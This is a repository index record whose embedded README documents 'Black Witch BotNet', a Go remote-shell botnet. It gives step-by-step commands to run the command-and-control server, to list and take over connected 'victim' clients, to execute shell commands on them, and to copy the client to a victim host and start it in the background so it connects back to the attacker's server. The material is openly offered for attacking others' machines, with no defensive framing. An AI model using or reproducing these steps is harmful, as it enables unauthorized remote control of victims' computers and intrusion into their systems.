{"id":18288921,"url":"https://github.com/andrewostroumov/black-witch-botnet","last_synced_at":"2025-04-05T09:31:30.557Z","repository":{"id":64304135,"uuid":"201454026","full_name":"andrewostroumov/black-witch-botnet","owner":"andrewostroumov","description":"Remote shell victim machines","archived":false,"fork":false,"pushed_at":"2019-09-13T14:03:11.000Z","size":42,"stargazers_count":22,"open_issues_count":3,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-21T02:21:22.902Z","etag":null,"topics":["botnet","golang","network","shell"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/andrewostroumov.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-08-09T11:23:50.000Z","updated_at":"2024-07-04T14:23:44.000Z","dependencies_parsed_at":"2023-01-15T10:15:26.059Z","dependency_job_id":null,"html_url":"https://github.com/andrewostroumov/black-witch-botnet","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/andrewostroumov%2Fblack-witch-botnet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/andrewostroumov%2Fblack-witch-botnet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/andrewostroumov%2Fblack-witch-botnet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/andrewostroumov%2Fblack-witch-botnet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/andrewostroumov","download_url":"https://codeload.github.com/andrewostroumov/black-witch-botnet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247318222,"owners_count":20919455,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["botnet","golang","network","shell"],"created_at":"2024-11-05T14:03:43.536Z","updated_at":"2025-04-05T09:31:30.140Z","avatar_url":"https://github.com/andrewostroumov.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cimg width=\"150px\" src=\"https://blackwitchcoven.com/wp-content/uploads/2017/01/ccedb1918e81e3fcaad18aca53f8da7e.jpeg\"\u003e\n\n# Black Witch BotNet\n#### The blank bundle to run the shell on your victim devices\n\nWe are welkome to open issue\n\n## Usage\n#### Generate server certificate and key\n```\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt\n```\nIt's good enough to use self signed sertificate\n\n#### Run the server (cmd/server)\n```\nserver -addr-accept :7238 -sock-control unix.sock -cert server.crt -key server.key\n```\nThe server will open TCP and UNIX socket. TCP on 7238 port for incoming client connactions and UNIX unix.sock for control client connections.\n\n\n#### Run the client (cmd/client)\n```\nclient -recon 1 -addr localhost:7238\n```\nThis will run the client on the victim machine. For now you have to compile binary for os and arch victim.\n\n\nTo view all available options use -help on the server and client\n\n\n## Control\nTo manage connected payloads you may use nc or something that can connect to the unix sock\n```\nnc -U tmp/unix.sock\n```\n```\nsocat - UNIX-CONNECT:unix.sock\n```\n\nYou will see REPL console\n\nTo show all connections\n\n```\n\u003cCC:#\u003e show\n```\n\nThis will return\n\n```\nID: 0 Address: 213.32.33.33:42656\nID: 1 Address: 213.32.33.33:53622\n```\n\nConnect to connection\n```\n\u003cCC:#\u003e use 0\n```\n\n## Communicate with client payload\n#### Syntax\n\n```\nevent [hello|restart]\n```\n\n```\n{shell} [{exec}|cd] command\n```\n\nWhere {} is default and [] options\n\n#### Event message\n\n```\nevent hello\n```\n\nIt's a system event connection health\n\n```\nevent restart\n```\n\nEvents return status\n\n```\nStatus true\n```\n\nRestart the client (CURRENTLY NOT SUPPORTED)\n\n#### Shell commands\n\nSimple command is\n\n```\n\u003c213.32.33.33:42656:#\u003e pwd\n```\n\nAnd this will return stdout\n\n```\n/Users\n```\n\nTo change the directory\n\n```\n\u003c213.32.33.33:42656:#\u003e cd /Users\n```\n\nWill return new directory path\n\n```\n/Users\n```\n\nSo we have shell commands and event messages for the client\n\nClient support hello and restart events\n\nShell support simple exec and change directory\n\n#### Errors\n\nWhen the executable isn't found\n\n```\nexec: \"ll\": executable file not found in $PATH\nError code 1\n```\n\nWhen you run executable incorrect\n\n```\npwd: illegal option -- -\nusage: pwd [-L | -P]\nExit 1\n```\n\nReturn stderr and exit code\n\nWhen you change dir that isn't exist\n\n```\nchdir test: no such file or directory\nError code 2\n```\n\nThe last thing is command timeouts\n\nWe have 10 seconds timeout to run the command or error will return\n\n```\nrun command timeout\nError code 0\n```\n\nError codes\n\n```\nErrorTimeout          = 0\nErrorCommand          = 1\nErrorChangeDir        = 2\nErrorUnknownRequest   = 3\nErrorUnknownShellType = 4\nErrorUnknownEventType = 5\n```\n\n## Production\n#### Config server\n\nCreate directory\n\n```\nmkdir /opt/black\n```\n\nUpload or generate server key and crt to this dir\n\nThen upload binary\n\nCreate systemd file and copy content from [example](https://github.com/andrewostroumov/black-witch-botnet/blob/master/systemd.service):\n\n```\ntouch /etc/systemd/system/black-witch.service\n```\n\nAnd run systemd service\n\n```\nsudo service black-witch start\n```\n\n#### Upload client\n\nBuild client for target machine os and arch\n\n```\nGOOS=linux GOARCH=amd64 go build\n```\n\nUpload client through scp\n\n```\nscp client 33.33.33.33:/var/lib/ \u0026\u0026 ssh 33.33.33.33 \"nohup /var/lib/client -addr 44.44.44.44:7328 -recon 5 \u003e /dev/null 2\u003e\u00261 \u0026\"\n```\n\nWhere 33.33.33.33 is a victim ip and 44.44.44.44 is a your accept server ip\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fandrewostroumov%2Fblack-witch-botnet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fandrewostroumov%2Fblack-witch-botnet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fandrewostroumov%2Fblack-witch-botnet/lists"}